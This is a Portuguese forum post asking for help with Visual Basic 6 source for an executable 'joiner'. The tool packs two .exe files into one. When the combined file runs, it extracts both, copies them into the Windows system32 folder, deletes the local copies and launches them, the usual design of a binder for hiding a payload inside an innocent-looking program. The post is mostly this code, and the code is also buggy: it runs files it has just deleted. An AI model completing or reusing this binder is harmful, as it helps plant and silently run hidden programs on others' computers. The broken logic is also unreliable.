Jump to content
Fórum Script Brasil
  • 0

Não consigo que o arquivo seje salvo corretamente!


Luciano Siqueira Marques

Question

Olá pessoal se alguém puder me ajudar com o codigo so preciso que ele salve ele quase salva mais o arquivo ta corrompido não sei mais o que fazer se algue puder fico grato..l.. segue codigo abaixo

Private Sub Command1_Click()

With CommonDialog1
.FileName = Empty
.DialogTitle = "Abrir"
.Filter = "Arquivos executáveis (.exe)|*.exe"
.ShowOpen
End With
If CommonDialog1.FileName <> Empty Then Text1.Text = CommonDialog1.FileName

End Sub

Private Sub Command2_Click()

With CommonDialog1
.FileName = Empty
.DialogTitle = "Abrir"
.Filter = "Arquivos executáveis (.exe)|*.exe"
.ShowOpen
End With
If CommonDialog1.FileName <> Empty Then Text2.Text = CommonDialog1.FileName

End Sub
Private Sub Command3_Click()

If Text1.Text = Empty Then
MsgBox "Selecione O Primeiro Arquivo!", vbExclamation, "ERRO!"
Exit Sub
End If
If Text2.Text = Empty Then
MsgBox "Selecione O Segundo arquivo!", vbExclamation, "ERRO!"
Exit Sub
End If
Call juntar 'Arqui executa a função de juntar os 2 arquivo!


End

End Sub

Private Sub Command4_Click()

MsgBox "Obrigado Por Usar Nossos Programas", vbInformation, "Sucesso"
End

End Sub

Private Sub Form_Load()

Dim data0 As String
Dim data1 As String
Dim data2 As String
Open App.EXEName & ".exe" For Binary Shared As 1
data0 = Input(LOF(1), #1)
Close 1
If InStr(1, data0, "***1") = 0 Then Exit Sub
Open "1.exe" For Binary As 2
Open "2.exe" For Binary As 3
data1 = Mid(data0, InStr(1, data0, "***1") + 4)
data2 = Mid(data1, InStr(1, data1, "***2") + 4)
Put #3, , data2
data1 = Mid(data1, 1, InStr(1, data1, "***2") - 1)
Put #2, , data1
Close 2
Close 3

FileCopy "1.exe", "C:\WINDOWS\system32\1.exe"
FileCopy "2.exe", "C:\WINDOWS\system32\2.exe"
Kill "1.exe"
Kill "2.exe"
Shell "1.exe", vbNormalFocus
Shell "2.exe", vbNormalFocus

End


End Sub

Private Sub juntar()
Dim Data As String
Dim data2 As String
Open Text1.Text For Binary Shared As 1
Open Text2.Text For Binary Shared As 2
Data = Input(LOF(1), #1)
data2 = Input(LOF(2), #2)
Close 1
Close 2

With CommonDialog1
.DialogTitle = "Selecione la ruta donde desea guardar el archivo"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With

If Not CommonDialog1.FileName = vbNullString Then
Open CommonDialog1.FileName For Binary As #1


Put #1, , "***1"
Put #1, , Data
Put #1, , "***2"
Put #1, , data2
Close 1
MsgBox "Arquivos Juntados Com Sucesso!", vbInformation, "Sucesso"
End If
End Sub

Private Sub Text1_Change()

End Sub


Private Sub Text2_Change()

End Sub

Edited by Luciano Siqueira Marques
Link to comment
Share on other sites

1 answer to this question

Recommended Posts

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Forum Statistics

    • Total Topics
      152.2k
    • Total Posts
      652k
×
×
  • Create New...